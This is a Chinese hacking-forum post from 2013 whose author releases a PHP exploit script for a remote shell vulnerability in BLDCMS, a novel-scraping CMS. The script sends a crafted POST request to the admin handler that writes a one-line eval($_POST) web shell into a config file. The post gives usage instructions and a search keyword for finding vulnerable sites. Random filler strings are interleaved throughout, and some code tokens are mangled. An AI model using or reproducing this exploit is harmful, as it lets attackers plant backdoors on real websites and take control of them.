之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞! o) J4 [; F: ~5 I
@. q0 x: D# A% N+ b# ~: e+ ?. ^, j
' J" T. i; p4 V" _$ D4 G. U( A" \% ]话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 5 z% G: ^, T' K& t: t
9 a' }8 B% [! [0 |, O既然都有人发了 我就把我之前写好的EXP放出来吧
* e8 x1 _0 Y9 N9 J5 t4 o : I% }- D @5 N, T
view source print?01.php;">8 p9 u7 ^' c9 t9 x. p: x
02.<!--?php/ a$ \: V3 n! k1 E+ j6 }# N
03.echo "-------------------------------------------------------------------
) f' ~ r- @. f" R04. 2 a' u% Z& g' l3 S3 V" M! W2 C
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
5 Y: g, s+ S1 r06.
, V, c* W6 Z$ x2 d. O3 W07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
6 e7 R; G( {8 i! L08. 1 i3 I8 G% t/ J% m A# m% Z4 F
09.QQ:981009941\r\n 2013.3.21\r\n
: J1 X$ h# Z# y0 W" Q) S7 r- ]10. ' ~/ A$ D4 q8 C8 A0 V: B
11. / y- b V' ?+ g
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码# e6 W2 j# |) ~+ N
13. % G- D, f, |) {& c1 E
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------) C( ]! e' }/ X& X- n
15.
' D$ a1 N. n% @# m* t2 p# J' d16.--------------------------------------------------------------------\r\n";+ b4 A) d" {, `) n
17.$url=$argv[1];
6 o, D( B# R; O! W: B18.$dir=$argv[2];* W" u. T; S+ c/ J! q8 `( Y
19.$pass=$argv[3];
+ ^9 B' l$ y2 {* [* V20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';1 m$ z% r8 f7 R3 I- |( e8 [# O
21.if (emptyempty($pass)||emptyempty($url))
# K/ X! B$ ]2 @. r1 {# Y22.{exit("请输入参数");}
9 [/ X" z, }7 }# J% i1 a23.else
; `9 C/ s, ?# h: R* F$ s24.{
9 R7 L1 U4 f H. W25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev* G2 x2 S6 ?. ]
26.
5 k* a& q' \ G2 R2 f6 L- C" F9 A+ y27.al;
% }, r* ]- C! Z28.$length = strlen($fuckdata);5 W# ~$ t7 W0 |% {. d
29.function getshell($url,$pass)) P6 T4 |8 G" \% o4 z# Z) H$ A
30.{
1 Z1 P4 F& t6 D/ t8 S31.global $url,$dir,$pass,$eval,$length,$fuckdata;
$ O( ?* Z/ [% Y" a) `$ n0 n9 o32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";8 X2 b4 d% z# e5 v. Z
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
) R! X! z# z- [7 F ^34.$header .= "User-Agent: MSIE\r\n";
L" A. P+ `% h! i! x2 [35.$header .= "Host:".$url."\r\n";8 B4 K6 U$ A L; b% b& `2 Y
36.$header .= "Content-Length: ".$length."\r\n";( m9 c1 { I% l9 g8 d
37.$header .= "Connection: Close\r\n";
9 D+ [: O% x9 g# @: O' g% `38.$header .="\r\n";# L8 d/ \" G; a3 ^8 p( U
39.$header .= $fuckdata."\r\n\r\n";
& F/ N0 p7 w3 F$ D& j40.$fp = fsockopen($url, 80,$errno,$errstr,15);
& C+ z% ^1 J. u+ j/ D3 [( q- K2 z41.if (!$fp)& p4 g! G: W) e+ W& a! a
42.{4 H2 m8 x, r% Q* |/ q
43.exit ("利用失败:请检查指定目标是否能正常打开");
, c4 l0 p7 s) }- L6 X; ?44.}% `$ R0 E! w8 n7 Q, p6 U
45.else{ if (!fputs($fp,$header))
8 P! b: R- O$ P. }5 f46.{exit ("利用失败");}* u* U) }- F7 o6 Y$ G
47.else
7 k+ \/ z2 N4 H& S+ B% b48.{
9 R3 \$ M; \. M% L4 q49.$receive = '';7 R3 F5 q3 ^- l7 ?: o
50.while (!feof($fp)) {
5 K( s2 m1 i) p; Y51.$receive .= @fgets($fp, 1000);
8 F5 q) H0 ^5 j% m$ Y1 v52.}
" y' p$ L) p: v% ^- F1 e53.@fclose($fp);7 X5 j$ Y, e) H- R; A
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
3 C( [% H+ x* x' y0 F8 I55.
1 y7 t, A" t2 W/ x7 u, g56.GPC是否=off)";; |5 o4 m8 f( C# X3 Q) P
57.}}
( [5 a ~8 K. @58.}% B- `' p8 ^8 y% X. Z' N: R
59.}
1 k) S( [2 y! \% M0 n. @1 t8 K60.getshell($url,$pass);, V6 E6 B; ?' O/ v/ c) X" w9 M
61.?-->8 ]* q1 R3 u, S+ [7 J4 d
$ N l0 r: C1 C) i: x3 [$ U y
/ |% X/ M: b! w' q9 U
" _& u$ J% x! v1 b. a- ?$ Wby 数据流
& V1 p9 }4 H& r" [3 R |
发表于 2013-3-26 20:49:10
收藏
支持
反对